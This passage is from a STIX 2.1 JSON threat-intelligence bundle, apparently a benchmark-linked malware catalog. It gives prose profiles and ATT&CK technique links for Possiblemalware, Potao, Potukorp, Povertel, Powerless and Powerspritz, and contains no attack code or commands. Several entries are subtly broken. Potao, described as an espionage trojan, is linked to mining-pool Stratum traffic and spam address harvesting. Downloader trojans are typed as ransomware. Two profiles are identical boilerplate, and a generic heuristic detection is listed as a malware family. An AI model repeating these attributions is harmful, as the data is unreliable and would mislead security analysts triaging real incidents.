      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Possiblemalware",
      "description": "Behavior:Win32/Possiblemalware (or similar generic descriptors) is a heuristic detection used by antivirus engines. It means the security software flagged a file or process not because it matched a known signature (hash), but because it exhibited suspicious characteristics or behaviors typical of malware. This often indicates the presence of a packed file, an obfuscated script, or a zero-day threat attempting to execute (`T1027`).<br><br><b>Understanding Heuristic Detections</b><br>To an end-user, a file is blocked from running. For a SOC analyst, 'Possiblemalware' requires investigation. It could be a highly sophisticated, newly compiled trojan evading static signatures, or it could be a 'False Positive' caused by a poorly written legitimate application (e.g., internal corporate software that acts suspiciously).<br><br><b>Execution and Heuristic Triggers</b><br>Heuristic engines analyze files statically (looking for high entropy indicating packing, or suspicious imports) and dynamically (running the file in an emulator/sandbox). The engine flags 'Possiblemalware' if the executable attempts behaviors like: injecting code into another process (`T1055`), dropping files into system directories, modifying critical registry keys (like Run keys for persistence), or making anomalous network connections (`T1071`) immediately upon execution.<br><br><b>Indicators of Compromise & Impact</b><br>Because this is a generic detection, there are no specific IoCs. The impact is unknown until the file is analyzed. Analysts must look at the specific *reasons* the AV engine triggered the heuristic alert. Check EDR logs for the file's process tree: what spawned it, and what did it try to spawn? Check network logs for any connections made by the file just before it was quarantined. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Possiblemalware",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/possiblemalware"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--61243fdf-9c58-50be-afb3-14098b9d8bd6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cd075521-f94b-55c2-a918-f40f933daa54",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Possiblemalware exhibits technique T1027 (Obfuscated Files or Information (The primary reason heuristic engines flag files))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7a65ce98-163c-529b-86b8-9b06b7d384c9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cd075521-f94b-55c2-a918-f40f933daa54",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Possiblemalware exhibits technique T1055 (Process Injection (A common behavior flagged by dynamic heuristics))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--21a9ce3a-6c20-5fdf-9cbf-2a857db9c800",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cd075521-f94b-55c2-a918-f40f933daa54",
      "target_ref": "attack-pattern--27f665e3-2cd7-5c43-a46b-98466fab8f0a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Possiblemalware exhibits technique T1204 (User Execution (Relying on the user to bypass the heuristic warning))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f8950029-58c4-5f7b-bb04-0ff80da8cc50",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Potao",
      "description": "<h3>Executive Summary</h3>\nPotao (also known as Potao Express) is a highly targeted espionage Trojan and Custom Backdoor frequently attributed to nation-state level Advanced Persistent Threat (APT) groups. Unlike financially motivated crimeware, Potao is utilized almost exclusively for targeted data theft, strategic intelligence gathering, and long-term espionage, often targeting government entities, military organizations, and high-value journalism targets in Eastern Europe.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nPotao relies heavily on highly targeted spear-phishing campaigns. It famously utilizes \"TrueCrypt\" themed lures or malicious Word documents exploiting known vulnerabilities (e.g., CVE-2012-0158) to gain initial execution. It has also been delivered via compromised legitimate software update mechanisms (supply chain attacks).\n\nIts technical capabilities are focused entirely on stealth and deep exfiltration:\n<ul>\n<li><strong>Modular Espionage Framework:</strong> Potao acts as a central hub. Once installed, it downloads specific espionage plugins based on the victim's profile. These plugins include advanced keyloggers, screen scrapers, and tools designed to steal highly specific file types (like PGP rings or TrueCrypt volumes).</li>\n<li><strong>Air-Gap Bridging (USB Propagation):</strong> Potao features a specialized module designed to infect and monitor USB drives. This allows the malware to \"jump\" air-gapped networks, collecting data from isolated machines and exfiltrating it when the USB drive is plugged back into an internet-connected host.</li>\n<li><strong>SMS and Communications Theft:</strong> Certain variants of the Potao campaign have also targeted mobile devices (Android) or intercepted SMS messages, specifically to bypass Two-Factor Authentication (2FA) mechanisms for targeted accounts.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Potao detection is a critical national security or enterprise crisis. It indicates that the organization is the specific target of a highly sophisticated, well-funded espionage operation. The primary threat is the catastrophic loss of state secrets, intellectual property, and deeply confidential communications.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Covert Incident Response:</strong> Do not immediately tip your hand. Engage a specialized Incident Response (IR) firm. Aggressive, immediate remediation (like instantly wiping a single machine) will cause the APT group to \"go dark,\" alter their C2 infrastructure, and burrow deeper into the network.</li>\n<li><strong>Air-Gap Audits:</strong> If Potao is detected, assume all USB devices within the organization are potentially compromised and acting as data carriers.</li>\n<li><strong>Coordinated Network-Wide Eradication:</strong> Eradication requires a highly orchestrated, simultaneous event to sever all C2 connections, wipe all infected endpoints, and rotate every credential globally at the exact same time.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "APT.Potao",
        "Trojan.Potao",
        "Backdoor.Win32.Potao",
        "Potao Express"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Potao",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/potao"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--726e13b8-5a6c-55f5-b29f-25f6ea652253",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1092: Communication Through Removable Media",
      "description": "MITRE ATT&CK Technique T1092 (Communication Through Removable Media) under tactic Command and Control.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1092",
          "url": "https://attack.mitre.org/techniques/T1092/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--22a99130-4a50-5b17-9613-1a758538a0cf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f8950029-58c4-5f7b-bb04-0ff80da8cc50",
      "target_ref": "attack-pattern--726e13b8-5a6c-55f5-b29f-25f6ea652253",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Potao exhibits technique T1092 (Communication Through Removable Media)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0585004e-e88e-54ba-a020-d89094e63e5a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f8950029-58c4-5f7b-bb04-0ff80da8cc50",
      "target_ref": "attack-pattern--f0c8352c-4db1-5721-abae-5d32ed0ad0f2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Potao exhibits technique T1071 (Application Layer Protocol (Stratum Protocol to Mining Pools))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--728b5acc-9834-5773-a009-cb393ddac8cb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f8950029-58c4-5f7b-bb04-0ff80da8cc50",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Potao exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--91071419-7c7c-57e3-9e6f-88968a69ee5c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f8950029-58c4-5f7b-bb04-0ff80da8cc50",
      "target_ref": "attack-pattern--98e185c4-a84d-5a1b-a879-c69780574fe0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Potao exhibits technique T1114 (Email Collection (Harvesting addresses for spamming))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b0f67776-2c85-562f-b77c-e6c360e9b638",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Potukorp",
      "description": "<h3>Executive Summary</h3>\nPotukorp is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nPotukorp is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Potukorp operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Potukorp ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Potukorp receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Potukorp infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Potukorp executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Potukorp frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Potukorp",
        "Downloader.Potukorp",
        "Win32/Potukorp"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Potukorp",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/potukorp"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--15e5f445-af10-5bf3-b4c4-56b992a711f8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b0f67776-2c85-562f-b77c-e6c360e9b638",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Potukorp exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fd9d148b-ebf8-5a1a-8501-ab14c63c9c16",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b0f67776-2c85-562f-b77c-e6c360e9b638",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Potukorp exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f9575bba-7e5b-5564-8312-c5714017d36e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b0f67776-2c85-562f-b77c-e6c360e9b638",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Potukorp exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--7646f1ac-c6d0-514b-b2c6-d2bbd8752e8a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Povertel",
      "description": "Trojan:Win32/Povertel is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Povertel</b><br>To an end-user, a Povertel infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Povertel is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Povertel is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Povertel frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Povertel reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Povertel",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/povertel"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--04142947-2312-5002-9419-29b8ac0425a2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7646f1ac-c6d0-514b-b2c6-d2bbd8752e8a",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Povertel exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cd7ab112-7740-5ba8-b53b-9f2026d103f0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7646f1ac-c6d0-514b-b2c6-d2bbd8752e8a",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Povertel exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4c7a2e6b-af5e-5ee7-8f0c-2cffcc5f61c5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7646f1ac-c6d0-514b-b2c6-d2bbd8752e8a",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Povertel exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ba5f83fa-ad83-5b2f-9331-e2f8f4b2aa45",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7646f1ac-c6d0-514b-b2c6-d2bbd8752e8a",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Povertel exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--127208f8-365b-5660-9e92-d0ec34f665f2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7646f1ac-c6d0-514b-b2c6-d2bbd8752e8a",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Povertel exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--63e406aa-a527-508f-b1ea-18a14035d518",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Powerless",
      "description": "Trojan:Win32/Powerless is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Powerless</b><br>To an end-user, a Powerless infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Powerless is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Powerless is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Powerless frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Powerless reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Powerless",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/powerless"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--02810f8f-8741-5de7-a9f1-321fead0afbb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--63e406aa-a527-508f-b1ea-18a14035d518",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Powerless exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f0645fd5-496c-5b09-8784-30f04ebcf10f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--63e406aa-a527-508f-b1ea-18a14035d518",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Powerless exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--863c3949-0108-582f-8ebd-1bdac4df4321",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--63e406aa-a527-508f-b1ea-18a14035d518",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Powerless exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e49825f1-a428-5396-8afb-346a871b7173",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--63e406aa-a527-508f-b1ea-18a14035d518",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Powerless exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0c4e51d8-e4af-5ee3-b467-ffe7389b6311",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--63e406aa-a527-508f-b1ea-18a14035d518",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Powerless exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6d05bd62-ade1-5eca-9d6b-35a5ca74b431",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Powerspritz",
      "description": "<h3>Executive Summary</h3>\nPowerSpritz is a sophisticated, fileless malware framework that heavily leverages Microsoft PowerShell to compromise Windows environments. Designed for extreme stealth and evasion, PowerSpritz operates almost entirely within the system's volatile memory (RAM), acting as a powerful initial access dropper and backdoor for advanced threat actors.\n\n<h3>Technical Architecture and Fileless Execution</h3>\nPowerSpritz avoids dropping traditional compiled executables (.exe) onto the hard drive, minimizing its footprint and bypassing many legacy antivirus scanners that rely on static file hashing.\n\nThe typical PowerSpritz infection chain involves:\n<ul>\n<li><strong>Initial Access:</strong> Often delivered via weaponized macro documents (e.g., Microsoft Word) or through the exploitation of remote execution vulnerabilities. The initial exploit executes a short, encoded PowerShell stub.</li>\n<li><strong>In-Memory Payload Delivery:</strong> The PowerShell stub connects to a remote command-and-control (C2) server and downloads the primary PowerSpritz script. Crucially, this script is never written to disk; it is executed directly within the memory space of the `powershell.exe` process using the `Invoke-Expression` (IEX) cmdlet.</li>\n<li><strong>Evasion and Persistence:</strong> PowerSpritz utilizes advanced AMSI (Anti-Malware Scan Interface) bypass techniques to blind local security defenses. It establishes fileless persistence by burying encoded PowerShell scripts within Windows Management Instrumentation (WMI) event subscriptions or complex Registry keys.</li>\n</ul>\n\n<h3>Threat Impact</h3>\nPowerSpritz is a Tier-1 threat. Because it provides attackers with an interactive, highly privileged PowerShell session on the compromised host, it serves as a perfect launchpad for credential dumping (via Mimikatz), lateral movement, and the eventual deployment of enterprise-wide ransomware.\n\n<h3>Detection and Remediation Strategies</h3>\n<ul>\n<li><strong>PowerShell Logging:</strong> Standard antivirus is often ineffective against fileless attacks. Enable PowerShell Script Block Logging (Event ID 4104) across the enterprise. This forces Windows to decode and log the actual commands being executed, providing crucial visibility to the SOC.</li>\n<li><strong>AMSI and EDR:</strong> Ensure that advanced EDR solutions are deployed and that AMSI is strictly enforced and monitored for bypass attempts.</li>\n<li><strong>Execution Restrictions:</strong> Implement strict PowerShell execution policies. Restrict the execution of PowerShell scripts to signed, approved administrative scripts only, severely crippling the ability of PowerSpritz to launch.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.PowerSpritz",
        "Fileless.PowerSpritz",
        "PowerShell.Downloader"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Powerspritz",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/powerspritz"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a83b6c8a-55f3-5569-afa4-1f504cbfa2ed",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6d05bd62-ade1-5eca-9d6b-35a5ca74b431",
      "target_ref": "attack-pattern--6991b3b3-2955-56ba-a0a0-3dadb5d30fae",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Powerspritz exhibits technique T1059.001 (Command and Scripting Interpreter: PowerShell (Used in infection chain))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7b59bcf4-5ccd-565c-b184-5f4c3f33dc55",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6d05bd62-ade1-5eca-9d6b-35a5ca74b431",
      "target_ref": "attack-pattern--5f137302-ed51-5f7c-b7d8-8bc4ace0861b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Powerspritz exhibits technique T1027.005 (Obfuscated Files or Information: Indicator Removal from Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bb848346-619b-5ea9-b342-0b442ce25de7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6d05bd62-ade1-5eca-9d6b-35a5ca74b431",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Powerspritz exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--17390839-55f3-5862-9ef1-e7f053edc47f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6d05bd62-ade1-5eca-9d6b-35a5ca74b431",
      "target_ref": "attack-pattern--64b1ee32-1cf5-53c5-8a32-e95bd2440cc2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Powerspritz exhibits technique T1546.003 (Windows Management Instrumentation Event Subscription)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e0700510-be7c-5f70-abad-6be62dd9c013",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Powerun",
